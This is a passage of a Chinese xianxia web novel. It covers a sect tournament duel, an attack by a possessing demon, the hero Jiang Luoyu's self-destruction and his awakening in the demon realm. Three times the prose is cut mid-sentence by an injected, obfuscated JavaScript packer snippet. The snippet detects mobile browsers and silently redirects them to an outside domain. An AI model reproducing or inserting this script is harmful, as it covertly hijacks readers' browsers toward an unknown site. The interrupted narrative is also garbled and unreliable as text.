这些日子里,他们白日的对决都是点到为止,通常情况日落前就能比完。剩下的时间,闲不住的就会去开设的论道场地寻人论道,再听一听各家门派大能的课程。 几人同为天骄榜上的天骄,平日里见不到面,此次修真大比倒是熟络几分。 修仙之路道阻且长,走到最后,身边剩下的也就只有或天资卓绝、或勤耕不辍的那类人。 多结识些志同道合的友人,到那时也就少了几分孤寂。 反正诗沐心很是满意新结识的友人——除了有些鼻孔朝天的东方顺。 那家伙本质不坏,满脑子练剑。就是被家里人宠坏了,还……暴躁易怒。 “你一个法宝凭什么和我打?!” 东方顺要气死了,碧落剑虎虎生风,甚至挥出了同归于尽的架势。 剑光瞬息万变,一人一球不间断地挥出剑招。 无相球趁着僵持间隙,又对东方顺做了个鬼脸:“有本事你让你的剑和我打啊!小爷来者不拒。” 说完一记“金日初升”打过去,劈、提、刺……一连串动作完美复制姜洛玉的身法,直直将东方顺逼到了擂台边缘! 东方顺借力跃起,转而跳到无相球身后,拧身劈下长剑! 剑式凶狠,透着股无端凉意,擂台上的温度迅速下降,血腥味陡然出现。 《玄天九幽剑诀》第九式——下黄泉。 “……嗯?” 姜洛玉放下茶杯,碰了碰面前新长出来的黑红色冥花。 刺骨的寒意顺着花瓣爬上胳膊,似乎连经脉也变成了冰凌。 他笑了笑,起身收回木椅。 有点意思。 剑刃上环绕的凝实死气在无相球意料之外。这“下黄泉”乃目前东方顺能发挥出来、威力最大的一招。 拿来对付它……也太大材小用了。 它就是个法宝,脱离姜洛玉单独行动,体内灵力很快就会被消耗干净。 思及此处,无相球灌注全部灵力进入玄衣剑,挥剑迎了上去。 黑红和橙黄的灵气相互碰撞,激起千层灵波。 余威散去,东方顺的剑下,只剩下一分为二的银球。 无相球嘤咛一声,合二为一,哭唧唧地扑到姜洛玉怀里。 “呜呜呜……这家伙顿悟了。” 姜洛玉揉了揉无相球权当安慰,将它送回丹田,拔起深陷在擂台的玄衣剑。 对面的东方顺模样大变,面上多了如墨的纹路,就连气质也冷了下来。 特别是修为,直接到了金丹期圆满。 “幽冥剑骨……”姜洛玉眯眼打量着,“这是激活了?” 东方顺喘息着平复体内躁动的灵力,浑身上下流淌着从未有过的畅快。 他将长剑猛地指向姜洛玉,满眼桀骜:“是有如何?来啊,我打赢了你的法宝,出剑啊!” “快让我见识一下……龙腾榜第一的天骄到底有什么厉害之处!” 姜洛玉漫不经心地抬手:“输了可别哭鼻子。” 一阵风窜了过来。 东方顺甚至感觉不到姜洛玉是否还在擂台上。 “铿——” 两柄玄色长剑撞在一起,迸溅出的火星照亮了东方顺的瞳孔。 不过几个呼吸的时间,就交手了近百招! “你是不是看不起我?!”东方顺吼道,“凭什么只用前六招和我打?” 姜洛玉:“你是傻子吗?你这剑骨刚刚激活,受不了那么强的冲击。我们两个无冤无仇,我废你前程作甚?” “我……”东方顺一阵语塞。 好像……是这么回事。 姜洛玉无语,二话不说朝着东方顺所在刺去。 东方顺作势一挡,点点猩红飞花从剑身冒出,朝着姜洛玉身侧飞去。 姜洛玉避开飞花,剑气化为阳鸟。巴掌大的鸟雀将带着死气的花瓣吞入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982629|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹中,长鸣一声消散在空气里。 两人打得难舍难分,修为低些的甚至看不清他们的动作。 丛明雪在观赛台蹙了蹙眉,侧头望向广场东北方向,那里似乎有什么奇怪的气息。 “哈——!” 东方顺堪堪立在擂台边缘处,眼神发亮。 太爽了,他多久没遇到过这么合心意的对手了! 姜洛玉松了松剑柄,缓解了一下震得发麻的虎口。他就说这小子像体修,力气大得离谱,和他打架就像在面对一头健壮的黑岩土盾牛。 但他能感受到,东方顺是个为剑道而生的天才,靠剑道飞升只不过是时间问题。 “我的剑骨稳定了。” 东方顺眼里燃起熊熊烈火:“你快来用最强一招和我打!” “不要‘日月同天’,我知道你还有更强的招式!” 玄极宗宗主闻言蹙眉,传音道:“顺儿,不许胡闹!” 东方顺:“我没胡闹!” 玄极宗宗主:“……” 他这弟子怎么这般不省心?他还不管了,不吃点苦头不长记性! 姜洛玉:“……你确定?” 他确实还有个更强的招式——日月入云。本来是合体期才能修习的,越这么多阶使用威力先不说,事后肯定得瘫一段时间。 “我确定。”东方顺语气坚定,“要打就打个痛快,再磨蹭老子都要生出心魔了!” 姜洛玉:“保命的东西先打开。” 东方顺拍了拍胸脯:“放心吧,我身上有法宝能替命。” 一瞬寂静,紧接着,擂台被白花花一片笼罩得密不透风。 “是云。”林双鹤肯定道。 赵珏站直了身子:“还有……灵丝?是《玄天九幽剑诀》第十式的缠宫阙!” 《玄天九幽剑诀》共二十七式,每个小境界各自对应着一式剑招。大宗绝学对剑招名称并不藏着掖着,听了看了又能如何?没有对应的口诀也学不来精髓。 赵珏啧啧称奇,磨了磨牙:“倒是让这小子悟上了,这招分明元婴初期才能用出来。” 说不上是谁先有了动作。 两道剑鸣同时同刻响彻云霄—— 日月在何处?宫阙又在何方? “铛”的清脆声后,又是几十声爆响,如万物初生,如天地开裂。混沌光球自乳白云雾中升起,灵丝编制高耸的白玉宫阙。 紧接着光球融化、宫阙崩塌,两道玄色身影扑向彼此,长剑相交! “轰——” 姜洛玉抽出玄衣剑,被飙出的鲜血溅了一身。 东方顺几乎被一分为二,从左肩一直到右胯的伤口夸张地外翻着,胸口浮着的玉佩一刻不停修复着肉身上的损伤。 “我、咕噜咕噜……”血沫从口中流出,东方顺羞愤闭嘴。 他的心跳得很快,白茫茫一片里,只能看见似乎在发光的青年。 姜洛玉唏嘘片刻,瞥见东方顺被剑气划了几条口子的剑骨,找出对症灵药,让无相球给他喂进去。 无相球捏开东方顺的嘴,边塞边嘀咕:“多吃点,好东西,别留什么后遗症再讹上主人。” 东方顺:“……” 化神裁判看清擂台状况,敲响铜锣:“胜负已决,修真大比魁首——” “天正宗,姜洛玉!” 54.穿越第五十四天 俗话说帮人帮到底,送佛送到西。 姜洛玉眼见着东方顺吃完灵药,身子还是没合起来,意识到自己拿的灵药可能不太对症。 玄极宗随行的医修长老上了擂台,脸都黑了。 不过再生气,他对上几乎两半儿的东方顺也下不去手,只好骂骂咧咧:“打架之前先掂量下自己几斤几两。下次再被人劈成两半儿,老夫可不救你。” 东方顺瞪着死鱼眼:“那你把我埋了吧。” 医修长老:“……混账东西。” 好在骂完解了气,手上动作也利索起来。 灵丝在东方顺身体游走一遍后,医修长老面露难色。经脉断了倒是好接,毕竟剑气斩断地利落又平滑,就是这剑骨上的伤他倒是从未治过。 东方顺也知道自己的状况,放话道:“是我求他和我打的,后果由我一人承担。剑骨碎就碎了,没有它我、咳咳,我照样能飞升。” “碎个屁,不会说话就把嘴闭上!”医修长老吹胡子瞪眼地下了禁言咒。 幽冥剑骨天生有灵,寻常灵物无法伤其根本。以姜洛玉金丹后期的修为,就是拿着几十把极品灵剑抡圆了砍,也削不下来一点碎末。 再厉害的剑招也是灵气构成,同样也伤不得剑骨。 所以……这仙尊二弟子到底什么来头? 三清秘境化身本人——姜洛玉看出医修长老的为难,思索片刻,摸上三清玉佩:“星姨,我不小心将人剑骨砍了,有救吗?” 凝星:“……?” 何在夕狐疑抬头:“想什么呢?快掐诀啊,药快糊了!” 凝星手忙脚乱地掐完诀,匆忙收尾:“境主那儿出了些小意外,我去看看。” “诶!”何在夕一头雾水,“切”了一声,慢悠悠地开始装药。 百花殿,花团锦簇的灵花在药香中垂下脑袋,何在夕一拍大腿。 “这药有毒!” 擂台之上,医修长老正打算催动功法治疗剑骨。 “别动。” 温润如水的女声毫无预兆地出现,医修长老动作一顿,看见蹲在东方顺身边的女人之后更是错愕。 灵君?天正宗什么时候又多了一位灵君? 尘极道君更震惊,这女人哪儿冒出来的? “宗主,这是我三清秘境的长辈。” 听见姜洛玉的声音,尘极道君这才松了一口气。 他是为数不多知道姜洛玉来历的人。从三清秘境划来的、专供内门弟子历练的秘境钥匙,还掌握在他手里。 姜洛玉继续道:“有她在,修复东方顺的剑骨不成问题。” 实在不成,还有个何在夕。 尘极道君听罢,提起的心终于放了下去:“那就好。” 玄极宗宗主的脸已经黑成了煤炭,虽说这场“出格”的对决经过了他们的默许,结果却超出了所有人的预料。 他也没想到,姜洛玉能连东方顺的剑骨都砍出口子。 尘极道君及时开口:“这位是我天正宗的客卿长老,善医术,定能还你个完好无损的徒弟。” 玄极宗宗主冷哼一声,并未答话。 一番诊治下来,凝星面对病患,柔声道:“能救,就是得躺几个月。” 东方顺余光瞥见脸色有些白的姜洛玉,真心实意说:“前辈,要不你先去看看……姜道友?他脸色不太好。” 他拍了拍自己的胸口:“我就好得很!” 凝星察觉出一丝不对儿,击碎东方顺不切实际的幻想:“我家玉儿有道侣了。” 东方顺:“……?!” 伤员下台,比赛继续。 由于东方顺伤势过重无法比赛,林双鹤又不愿趁人之危,两人排名便按照龙腾榜现在的定了下来。 前五名分别是——姜洛玉、东方顺、林双鹤、隐空、诗沐心。 赵珏比较惨,第四轮遇上了姜洛玉,连排名都没混上。 接下来,挑战赛迫在眉睫。 排名前十的修士站在擂台上等待挑战,彼此也可相互对决,直到无人再战,修真大比方能结束。 赵珏难得没落井下石挑战东方顺,再加上伤还没好利索,便挑战了第六名御兽宗的段云钟。 两人挂了彩,最后段云钟惜败,不得不吊着一口气将第十的修士踢了下去。 诗沐心倒是和隐空过了一场,一个佛修一个法修,打到最后拳拳到肉。 诗沐心险胜。 半日后,姜洛玉依旧倚着玄衣剑闭目养神,觉得应该没什么不长眼的挑战自—— “散修肖五德,请指教!” 身材魁梧的男修跳上擂台,手持两把大斧,声如洪钟。 姜洛玉蹙眉,简单自报家门后,一剑将人挑了下去。 他现在属于靠灵药强撑着清醒,速战速决为妙。 “散修林苏叶,请赐教!” 又是一剑结束对决。 直到第三个散修跳到擂台上,姜洛玉有些迟钝的大脑终于意识到了不对。 “呼——” 掌风呼啸着擦过耳根,他握着玄衣剑的手抖了抖,猛地向身后刺过去。 血飚了出来,重叠盖在已经干涸的血痕上,挑战者飞了出去。 黑玉擂台,长相明艳的青年玄衣染血,黑沉沉的眸子里似乎压抑着什么东西。 他甩了甩剑上的血珠,漫不经心开口:“还有谁?” 台下被他挑下去的修士爬起来,怒道:“你不是说自己是法修吗?用个屁的剑!” “有本事用你那法术把我打下来!” 姜洛玉似笑非笑:“道友,你可不要血口喷人。谁说法修不能用剑?再者我用什么和你打,你管得着吗?” 挑事者:“……” 一刻钟过去,无人再战。 化神裁判敲了敲铜锣:“可还有人想要挑战?” “散修上官羽,恳请再战!” 是刚才挑衅那人。 姜洛玉深吸一口气,又缓缓吐息,剑尖指着上官羽眉心,问:“你究竟是想和我打架,还是……想要我的命?” 上官羽歪了歪脖子,脸上露出诡异至极的微笑。 “你……发现了?” 刹那间天地异色,以擂台为中心,澎湃如海潮的魔气凭空出现。 金丹期比赛场地的修士被震飞出去。 在场所有人,包括大乘、渡劫的大能,全都感受到了危险。 极致的危险!那魔气能对他们造成伤害,甚至是掠取他们的性命! 段云钟抱着三尾狐爬都爬不起来,浑身发软:“魔修!有魔修混进来了!” 赵珏拎起段云钟疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986436|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃窜:“怎么可能是魔修,你看这魔气,说是上界天魔下来我都信!” “可姜道友……”林双鹤面露挣扎。 “别傻了,”赵珏空闲的手又拽住林双鹤,“你过去保准第一个被魔气化成尸水!” “还不趁着魔气没散过来多跑几步!” 诗沐心咬了咬唇,顺从地被昆仑殿主的飘带扯了回去。 整个广场瞬间乱成了一锅粥,在场大能第一时间各显神通,将所有弟子拉到身后。 尘极道君也这么做了,掏出护山大阵同源阵法罩住众人。 可诡异的是魔气并未四散,而是环绕在一号擂台周围。 明眼人都能看出来,这魔气是冲着姜洛玉来的。 “玉儿!” 一道矮小的身影冲了过去,却被护山大阵拦下。 “风止回来,那魔气不是我等能对上的!” 魔气上如有实质的煞气和威压,隔了这么多层结界也能渗透进来,境界低的小辈早就趴在了地上。 就连他自己也是强忍着威压站立,放迦南月出去根本就是死路一条。 迦南月眼睛红得吓人:“我去救我儿子你管得着吗?!你有什么资格管?” “快把这破阵法给老娘打开!” 归墟宗宗主安抚好自家弟子,道:“风止,尘极说的对。外面魔气……来路不明又极其强劲。” “敌暗我明,我等冒然出手怕是要被人暗算。” 尘极道君这才找回声音:“儿子?姜洛玉怎么……” 他不是三清秘境大妖的孩子吗?可迦南月从不会骗他。 不过比起迦南月有了儿子,还是那句质问更痛彻心扉。 当年他们之间有过一段露水情缘。 合欢宗修士多情而不滥情,却又无法钟情。迦南月提出分开后,他知道如果自己纠缠不休,得来的只能是一盅忘情水。 于是他便缩在外面喝了一个月闷酒,才回了天正宗继续修炼。 往事涌上心头,尘极道君闭了闭眼:“我不能看你送死!” 他已经给丛明雪发去传讯了,人怎么还没来?可按照现在的场面,就算他来了……又有什么用? 魔气漩涡中心。 “原来最大的变数……是这副模样。” “上官羽”掐着姜洛玉的脖子,用了力气,又不会让那纤细的脖子折断。 金丹修士就是闭气三天三夜也没有问题,氧气的减少,也只是让姜洛玉呼吸困难些。 他看向对面人漆黑的眼球,艰难道:“比不上你,连个脸都不敢、不敢露。” “上官羽”叹息着:“老老实实待在下界不好吗?非要改什么命,修什么仙。” “啧,真让人讨厌。” “废话作甚。”姜洛玉咳了咳,不知为何身体冷得要命,“你杀鸡之前还要和鸡讲大道理?” “上官羽”摇头:“非也,你怎么会鸡?” “小秘境,我是来带你回家的。” 腰间的三清玉佩被人摘了下去,姜洛玉的身体更冷了。 他没想到这人居然能看穿他的真实身份,按理来说这般浓郁的魔气,这人应该是上界的魔族。 “回家”二字一出,将他此前的猜测全部推翻。 “神界已亡,你要带我……回哪儿去?” 55.穿越第五十五天 “吼——” 天正宗兽园外,草木震荡。 黑云翻滚如墨,天宇之上,黑色巨兽两条细长的脖子虬结在一起,鸟喙喷出数道紫色魔焰。 巨兽似鸟非鸟,两头相向,人面牛掌,三对肉翅黑羽稀疏,一双红眸亮如明星。 源源不断的黑色魔气从它庞大的身体里逸散出来,最后化为缕缕飞灰。 丛明雪剑气化龙吞噬了所有魔焰,银龙爆炸产生的灵波震得巨兽合上了鸟喙。 只有一瞬,他抓住机会飞速划破指尖,抹到聆天剑身。 玉色长剑亮了亮,凭空浮起,直朝着巨兽飞去。 “归——天——” 浩渺空灵的声音自银白身影传出,顶天立地的纯白虚影顷刻间降临。 祂立在丛明雪身后静默无声,但无言就是最大的发声。 虚影立在那儿,就是天。 聆天剑陡然膨胀、不,它依旧渺小,可剑身却被和纯白虚影相差无几的物质层层裹挟。 丛明雪微微抬手,虚影也抬起了手腕。巨剑被虚影紧紧握住——上抬、下劈,朴实无华的两个动作。 毁天灭地的剑意扑向尖啸的巨兽,它逃不开、挣不脱,“归天”成了它的宿命,就好似这片天宇是早就为它准备好的墓地。 “砰——” 巨兽四分五裂,肉身化作岩浆,迸溅到凹凸不平的地面。 时间回到半个时辰前。 丛明雪发觉东北方向有异,并未惊动众人,只身前往兽园。 不曾想刚刚踏入兽园,就目睹了一场人间炼狱。 所有灵兽全都被这怪鸟拔了脑袋,身首分离,好不凄惨。浓稠的魔气让丛明雪意识到,这东西绝非下界之物,而是……魔界的东西。 传音法术和符咒被困在了兽园之内,他只好先和怪鸟缠斗。好在这怪鸟虽然看着可怖又实力斐然,实力却并未达到上界的水准。 但怪鸟又比渡劫圆满的修士要强上不少,不过丛明雪也非寻常渡劫修士,二话不说与怪鸟打了个昏天黑地。 趁着怪鸟不备,又一剑劈碎怪鸟的领域,将战场转移到兽园之外,这才能将其顺利斩杀。 可……他真的走出去了吗? 丛明雪蹲下身,捡起地面尚未完全凝实的岩浆,近乎融化神魂的热度贴着指尖爬上胳膊。 空气里飘着淡淡的硫磺味儿,他抬起头,眼睛一眨不眨地看着染成了黑灰色的天空。 “噗通、噗通。” 心尖传来诡异的疼痛,好似有什么东西脱离了他的掌控。 黑色落羽飘到了“上官羽”面前。 他骂了一声“废物”,随手把姜洛玉扔到地面,笑眯眯道:“当然是回新神界啊。” “等你见到新世降临,就不会再留恋这些孱弱的肉畜了。” “神经病……”姜洛玉捂着脖子骂道,咬了咬唇。 这黑影和他废话这么久,肯定不是什么典型的“反派死于话多”,而是无法立刻带他走。 他恢复了些力气,将所处的空间粗略打量一遍,果真在头顶看见了一小片蓝天。 蓝天的面积在魔气旋转下不断缩小,眼见着就要彻底合起。 想起刚才窥探到的记忆,姜洛玉铆足一股劲,运转所剩无几的灵力:“上官哥哥,你杀我的时候……心痛了吗?” 地面柔弱得好似一张宣纸的少年眼眶通红,眼神湿漉漉的,和小鹿没什么区别, “上官羽”狂妄的神情扭曲一瞬,矢口否认:“我、我没杀你,是你自己想不开!” “你灵根丢了和我有什么关系!” 少年眼神纯真,说出来的话却字字诛心:“上官哥哥,我的灵根不是被爹挖给你了吗?” “贱畜,一个死人有什么好怕的!” “上官羽”的□□彻底崩坏,残魂瞬间化为飞灰,只剩下一道朦胧模糊的黑影立在原地。 黑影望了眼魔气包围下依旧存在的一丝天空,暴躁地拎起姜洛玉。 “等到了上面,我自有办法收拾你。” 姜洛玉心凉了一半儿。他本以为激起上官羽残魂仅剩的执念,让其反扑控制肉身,能给自己带来逃跑的机会,没想到黑影居然果断将其毁去。 他望向黑影体内浮着的三清玉佩。黑气出现时,他能感受到自己和三清秘境的联系瞬间切断,直到现在依旧没能恢复。 黑影说要带他去上界,他又没飞升,虽魂是仙魂,但魂魄上去有什么用? 三清秘境只有经历了飞升天劫的洗礼,才能够和他一同飞升上界。 “不过你还挺聪明的,猜出我到下界来处处受限。”黑影甩面条一样甩了甩姜洛玉的身体,“若不是三清秘境过于重要,我至于委身在一个肉畜身上?” 姜洛玉:“一口一个肉畜,我看你是忘记自己的畜牲样了!” 最后一丝天光彻底消失。 原本笼罩在擂台周围的魔气瞬间收紧,死死缠绕在姜洛玉身上。 带来的不只有窒息,它们还拼命地试图钻进他的身体,侵蚀着他的经脉、血肉乃至于……三魂七魄! 骨骼寸寸碎裂,耳畔嗡鸣不断。 恍惚间,姜洛玉摸到了一块儿凹凸不平的玉佩。 他和三清秘境的联系,恢复了。 姜洛玉下意识想要进入秘境——不行! 他知道黑影要怎么将他带到上界了。 先是侵蚀肉身魂魄,再蛊惑他进三清秘境。只要他进去,这些魔气便会突破最后的防线蜂拥而入。 “侵蚀”这个词也并不贴切。炼化、黑影要把他炼化了带到魔界! “想得美……”姜洛玉握住三清玉佩。 “就是带着秘境一起死,你也休想将我炼化!” 只见一人高的黑球猛地爆发出刺目白光,光柱冲天而起,瞬间净化了所有魔气。 迦南月目眦欲裂:“玉儿!” “阿玉!” 丛明雪扑了个空,狼狈地跌在地面,喉间不断涌出鲜血。 被魔气腐蚀殆尽的地面,只留下缺了一半儿的三清玉佩,以及…… 一枚坠着金莲的耳坠。 —— 妖界,玄武城。 日上三竿,城主府。刚刚睡醒的玄慈决定带着自家侍卫去升仙台,等待今天飞升的愣头青。 虽然十有八九又是没妖的一天。 渡劫后期的侍卫敲门后满脸谄媚地走进来,给自家二少爷递上去一张薄薄的纸。 “二少爷,这是近五百年玄武城的飞升名单。” 玄慈打开扫了一眼,居然只有一个名字。 随手放回去,道:“怎么……愿意……来妖界的……修士……越来越少了。” 侍卫早就习惯了玄慈慢吞吞的语气,挠了挠头猜测:“许是 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修为越高在妖界活得就能越自在,反之则卑微到了尘埃里。这地方比较适合资质高、愿意忍辱负重并且对权力有着病态迷恋的妖飞升过来。 这点仙界就好多了,反正在玄慈去过仙界的大哥嘴里,那里是不会公然出现妖仙给妖君舔鞋的场面。 旁边还一堆修士围着拍手叫好。 飞云终于在正午前赶到了升仙台。 碍于结界存在,这地方只有城主府的引渡人能进去。 玄慈打开结界,进去后歪了歪脑袋。 升仙台正中央,居然趴着个……人修? 不对,是妖。 虽然这妖身上属于妖的气息很淡,又被厚重的血腥味儿盖了一半儿,他还是能分辨出来。 可这妖怎么这么弱?气息甚至比他二叔家刚破壳的堂弟还弱。 他跳下飞云,慢吞吞地把脸着地的妖翻了过来。 人神共愤的明艳面孔闯入视线,眉心若隐若现的金印又为其增添了几分神性,下唇的红痣又将他拉回人间。 玄慈:“……哇。” 别管这妖弱不弱。他敢肯定,如果自己真把他领去客卿府,不到明天,保准渣都剩不下。 善心大发的玄慈鬼鬼祟祟地把妖收回自己的芥子,安置在里面灵山前的竹屋。 玄慈思考一下,又驱动了个会医术的傀儡去照顾这个来路不明的小妖。 —— 有人说死亡是新生的开始。 姜洛玉从不这么认为。在他眼里,死了就是死了,什么也剩不下,什么也带不走。 在现世的时候,他曾幻想过自己的葬礼。 如果不是突发恶疾,那他一定会事先剪辑好视频,在葬礼上循环播放他在全世界挑战极限的经历。 吸取一半儿三清秘境本源之力自爆时,他的脑袋里划过很多人,有亲人、朋友、以及……他那还没来得及结契的爱人。 但是就算有再多牵挂,也不是他愿意苟且偷生、被人炼化成为祸乱六界工具的理由。 他…… “喝药、喝药……目标无法自主喝药,启动第二套方案。” “咳、咕噜咕噜……”姜洛玉艰难睁眼,对上一张半青半紫马脸。 他没死……还是到冥界了? 56.穿越第五十六天 “目标苏醒,暂时、暂时放弃第二套方案。” 漆黑的药汁顺着脖颈撒了一地,顾不得骤然模糊的视线,姜洛玉唤出玄衣剑,向前一刺! 马飞飞夹住长剑,扯到蹄子里又甩了出去。见竹床上的青年瞪大眼睛,满脸不可置信,沉默片刻,决定上报玄慈。 “主、主人,目标苏醒,拒绝服药,攻击性极强,是否、采取强制措施。” 竹屋、纱幔、远山、若隐若现的鸟鸣……浓郁程度和仙界不相上下的灵气。 姜洛玉不信邪地掐了几个诀,没有丝毫反应。玄衣剑依旧躺在地板上,剑身异常陈旧。 他的修为没了。丹田空荡荡的看不见金丹,甚至连无相球也消失不见。 体内原本还剩下一点灵力,唤出玄衣剑之后便荡然无存。 最重要的是,满空气的精纯灵气,他压根吸不进身体。 “你……醒了……” 竹屋门口传来一道慢吞吞的少年声音。 一身墨绿的少年逆光而站,让目前和凡人没什么区别的姜洛玉看着有些费力。 直到少年走进来,他才看清少年长相——黑发绿眼,眉清目秀带着点婴儿肥,头上还顶着只巴掌大的玄龟。 玄慈板着脸:“不许……看!” 这妖好生没礼貌,一上来就盯着他的本体不放。 姜洛玉没了修为,但趋利避害的本能仍在。顺从地低下脑袋,道:“多谢前辈搭救。” 玄慈点头,丢下套宛若丹青晕染开来的法衣,吩咐道:“飞飞……带他……沐浴。” 臭死了。 少年面上的嫌弃过于明显,姜洛玉这才后知后觉,闻到身上区别于竹屋清香的味道。 那是堪比下水道爆炸的臭气,张牙舞爪地从皮肉传出。不用玄慈多说,姜洛玉二话不说就跟着马飞飞去了门外。 沐浴的地方在院外的绿谭,被层层叠叠的竹木圈着,只有一条石子小路能走进去。 姜洛玉出了门,才发现这里是个类似小世界的地方,尚未具备完善的法则。头顶的太阳一会儿大一会儿小,十分随心所欲。 就连四周多到令人窒息的竹林,颜色也是一会儿深一会儿浅。 晃得他头晕。 马飞飞两蹄把竹林掀开一条仅供一人通行的缝隙:“请沐浴。” 傀儡一人半高的庞大身躯配上阴沉的语气,再结合阴森的黑绿竹林,颇有几分杀人灭口的前奏。 好在傀儡只会执行主人的命令,姜洛玉不用担心它莫名奇妙暴起杀了自己。 道谢后如鱼般滑进缝隙,褪去血衣跳入潭这。皮肤接触潭水刹那,烤肉般的“滋啦”声不绝于耳。 姜洛玉:“……?” 他低头看向声音源头——布满细小伤口的皮肤源源不断向外冒出黑气。 黑气灼热异常,几乎要将这一池绿水煮沸。 姜洛玉撩了一把温热的潭水,凑近闻了闻。 潭水清香如茶,又多了几分甜意,在日光下更是流转着斑斓霞光。沉重的身体似乎得到了一丝抚慰,轻松了不少。 姜洛玉本能地将整个人沉入水中,身体自发运转《太一万法无相诀》吸收着水里柔和舒缓的灵气。 马飞飞似有所察,抬头只见黑气缭绕,不出几瞬又被彩光吞噬。几次循环下去,黑气越来越少,彩光亦然。 它震惊地张了张马嘴,报告道:“主人,您、您的白骨生花泉被吸干了。” 玄慈:“……?” 他好不容易才从大哥手里讨过来的灵泉啊! 等他赶到谭边,只能看见裸露地表的绿潭,还有一身素雅法衣的姜洛玉。 “我的灵泉……”玄慈心疼得话都利索了,“三个九转妖仙都吸收不完的灵气啊!” “你到底是什么东西?” 九转妖仙? 刚恢复金丹修为的姜洛玉闻言瞬间反应过来,自己竟是到了妖界。 而对面的少年,居然有妖仙三转修为。 想起刚才在潭水中分解掉的黑气,他一把抓住玄慈的袖子,言辞恳切:“我是什么东西不重要。重要的是前辈救命之恩没齿难忘,晚辈来日定会结草衔环相报。” “不过,可否前辈告知,您是从何处救下晚辈的?” 在青年黑润眸子的注视下,玄慈心中怒火不知为何熄灭不少,道:“自然是在升仙台,你问这个做什么?” “难不成你不是飞升上来的?” 夺命两连问砸得姜洛玉不知道回答什么,只好默默加大功法运转速度——《太一万法无相诀》在面对修为相差过大的目标时,作用就只剩下刷好感了。 丹田里新生的金丹也跟着骨碌碌乱转。 “砰”得一下,金丹炸成了一块儿长着姜苗的生姜。 姜洛玉:“……?” 玄慈:“回答我。” 姜洛玉闭了闭眼,见瞒不过,只好硬着头皮道:“不是。我也不知道自己怎么来的妖界。” 玄慈颔首,眼睛亮晶晶的:“这就……对了。” “你这么……弱,一看……就不是……正常……飞升……的妖。” 说到最后玄慈自己都嫌费时间,直接用法术辅助:“你就在我这芥子里待着吧。有什么需要告诉飞飞,它会把东西拿进来。” “等等!”姜洛玉话没说完,玄慈便化作一缕轻烟消失不见。 他转过身,与跑进来的傀儡四目相对。 马飞飞:“有事?” “我需要的东西,你都会拿过来吗?”姜洛玉眼含期待。 马飞飞:“……?” 它有一种不好的预感。 一个月后。 袅袅灵雾环绕灵山之间,山脚竹屋厅堂内,正盘坐着一浸润在白光里的青年。 青年正是姜洛玉。他这一个月里靠着玄慈的送来的资源,加上吸收灵气夜以继日地苦修。 至此,终于修到了元婴圆满。 若是放在下界,有人说他一个月“从零到元婴”,他保准当成痴人说梦。 不过现在就不一样了。许是因为妖界的妖生而元婴,他修炼到现在,就算昨天出去放风,也没被雷劈过。 至于修炼速度为何如此神速,姜洛玉将其归结于自己身体产生的异变。 他本该在自爆中彻底崩溃的身体乃至魂魄,如今完好无损。体内金丹、元婴无缘无故变成了本体的形状,无相球又消失不见,玄衣剑自从取出来就送不进识海…… 诸多反常最开始压得他几乎喘不上气,不过好在救下他的少年是妖界不可多得的一股清流。 在等级制度森严的妖界,他这种比刚出生幼崽强不了多少的妖修,又有一副说得过去的皮囊。若是无人庇护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996030|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不是为奴为仆受尽折磨,就是被人捉去当了炉鼎采补。 碰上玄慈这种只是把他当成新奇“宠物”圈养的妖仙,还愿意无条件拿出修炼资源,简直和做梦一样。 他在仙界就听说过妖界大名,那可是个九转修为的妖仙能公然跪舔妖君的地方。 万恶的妖界啊…… 姜洛玉叹了一口气,收功起身,习惯性摸了摸右耳。耳坠上面的金莲在被触碰后晃了晃,反射出淡淡的金光。 另一边也不知道是被毁了,还是留在了下界。 他抽取三清秘境的本源之力时,特意挑了没什么活物的地方抽取,也不知道现在秘境变成了什么模样。 至于秘境之主的身份,他暂时传给了丛明雪。他和他的命格相连又是独立个体,十分适合接管三清秘境。 更何况真遇上什么生死大劫,他们反倒不会同生共死。 只不过若自己真死了,丛明雪会重伤而已。 “万化灵天乳、菩提静玉心、玉髓七梦花、赤金凤凰血、洪荒混沌石……” 城主府的库房管事越清点越心惊,垂着脑袋小心发问:“二少爷,您这个月拿去的修炼资源……有些超过了。少主托我问您,可是修炼遇到了什么问题?” 玄慈将面前的两个芥子戴到手上,道:“没有。你告诉他……我最近在……学习炼丹。” “这些损耗……很正常。” 管事“好”了半天,点头哈腰将人送走,这才收起了不小心露出的兽尾。 玄武血脉恐怖如斯,光是和玄慈对话,他都会被吓出原形。 玄慈走回住处,把今天得来的资源一股脑放进灵山芥子里,吩咐马飞飞把东西给姜洛玉送过去。 